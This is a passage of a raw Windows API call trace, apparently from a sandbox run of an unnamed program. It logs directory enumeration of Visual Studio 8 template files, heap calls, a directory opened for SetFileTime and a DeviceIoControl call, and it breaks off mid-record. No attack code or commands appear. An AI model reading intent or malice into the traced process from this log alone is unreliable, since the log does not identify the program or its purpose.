ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x45d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppConfigurationInternal.zip", cAlternateFileName="")) returned 1 [0089.155] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eebd8 [0089.156] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eebd8) returned 1 [0089.156] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eebd8 [0089.156] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eebd8) returned 1 [0089.156] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eebd8 [0089.157] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13111d0 [0089.157] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.157] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c14c8 [0089.157] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x485, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssemblyInfoInternal.zip", cAlternateFileName="")) returned 1 [0089.157] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x24d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Class.zip", cAlternateFileName="")) returned 1 [0089.157] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10fa9fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x4a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dataset.zip", cAlternateFileName="")) returned 1 [0089.157] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10fa9fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x7f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dialog.zip", cAlternateFileName="")) returned 1 [0089.158] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10ff6270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x35b, dwReserved0=0x0, dwReserved1=0x0, cFileName="EmptyDatabase.zip", cAlternateFileName="")) returned 1 [0089.158] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10ff6270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x4faa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Explorer.zip", cAlternateFileName="")) returned 1 [0089.158] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x1101c3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x514, dwReserved0=0x0, dwReserved1=0x0, cFileName="Form.zip", cAlternateFileName="")) returned 1 [0089.158] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x1101c3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0xb090, dwReserved0=0x0, dwReserved1=0x0, cFileName="LoginForm.zip", cAlternateFileName="")) returned 1 [0089.158] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x1101c3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x36b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="MDIParent.zip", cAlternateFileName="")) returned 1 [0089.158] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11042530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Module.zip", cAlternateFileName="")) returned 1 [0089.158] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11100c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x89b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ResourceInternal.zip", cAlternateFileName="")) returned 1 [0089.158] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11100c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x419, dwReserved0=0x0, dwReserved1=0x0, cFileName="SettingsInternal.zip", cAlternateFileName="")) returned 1 [0089.158] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11126d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0xec16, dwReserved0=0x0, dwReserved1=0x0, cFileName="SplashScreen.zip", cAlternateFileName="")) returned 1 [0089.158] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x111bf2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Text.zip", cAlternateFileName="")) returned 1 [0089.158] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserControl.zip", cAlternateFileName="")) returned 1 [0089.158] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserControl.zip", cAlternateFileName="")) returned 0 [0089.158] GetLastError () returned 0x12 [0089.158] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e9000 [0089.158] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0089.159] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f5dcf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x111e5450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x111e5450, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.159] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x45d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppConfigurationInternal.zip", cAlternateFileName="")) returned 1 [0089.159] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x485, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssemblyInfoInternal.zip", cAlternateFileName="")) returned 1 [0089.159] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x24d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Class.zip", cAlternateFileName="")) returned 1 [0089.159] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10fa9fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x4a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dataset.zip", cAlternateFileName="")) returned 1 [0089.159] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10fa9fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x7f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dialog.zip", cAlternateFileName="")) returned 1 [0089.159] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10ff6270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x35b, dwReserved0=0x0, dwReserved1=0x0, cFileName="EmptyDatabase.zip", cAlternateFileName="")) returned 1 [0089.159] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10ff6270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x4faa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Explorer.zip", cAlternateFileName="")) returned 1 [0089.159] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x1101c3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x514, dwReserved0=0x0, dwReserved1=0x0, cFileName="Form.zip", cAlternateFileName="")) returned 1 [0089.159] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x1101c3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0xb090, dwReserved0=0x0, dwReserved1=0x0, cFileName="LoginForm.zip", cAlternateFileName="")) returned 1 [0089.159] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x1101c3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x36b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="MDIParent.zip", cAlternateFileName="")) returned 1 [0089.159] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11042530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Module.zip", cAlternateFileName="")) returned 1 [0089.159] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11100c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x89b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ResourceInternal.zip", cAlternateFileName="")) returned 1 [0089.159] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11100c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x419, dwReserved0=0x0, dwReserved1=0x0, cFileName="SettingsInternal.zip", cAlternateFileName="")) returned 1 [0089.159] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11126d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0xec16, dwReserved0=0x0, dwReserved1=0x0, cFileName="SplashScreen.zip", cAlternateFileName="")) returned 1 [0089.159] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x111bf2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Text.zip", cAlternateFileName="")) returned 1 [0089.159] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserControl.zip", cAlternateFileName="")) returned 1 [0089.159] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserControl.zip", cAlternateFileName="")) returned 0 [0089.159] GetLastError () returned 0x12 [0089.159] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13112d8) returned 1 [0089.159] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0089.160] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13111d0) returned 1 [0089.161] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13110c8) returned 1 [0089.161] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f5dcf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x111e5450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x111e5450, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0089.161] GetLastError () returned 0x12 [0089.161] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1310fc0) returned 1 [0089.161] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0089.161] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1310eb8) returned 1 [0089.161] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1310db0) returned 1 [0089.161] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f5dcf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f5dcf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisualBasic", cAlternateFileName="")) returned 0 [0089.161] GetLastError () returned 0x12 [0089.162] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1310a98) returned 1 [0089.162] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0089.162] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1310990) returned 1 [0089.162] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1310888) returned 1 [0089.162] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f5dcf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ItemTemplates", cAlternateFileName="")) returned 0 [0089.162] GetLastError () returned 0x12 [0089.163] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x130fe38) returned 1 [0089.163] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0089.163] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x130ff40) returned 1 [0089.163] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x130fd30) returned 1 [0089.163] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f37b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f37b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTA", cAlternateFileName="")) returned 0 [0089.163] GetLastError () returned 0x12 [0089.163] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eec60) returned 1 [0089.163] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0089.164] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0089.164] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0089.164] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 1 [0089.164] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\packages"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.164] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\packages"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0089.165] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0089.165] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0089.165] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, 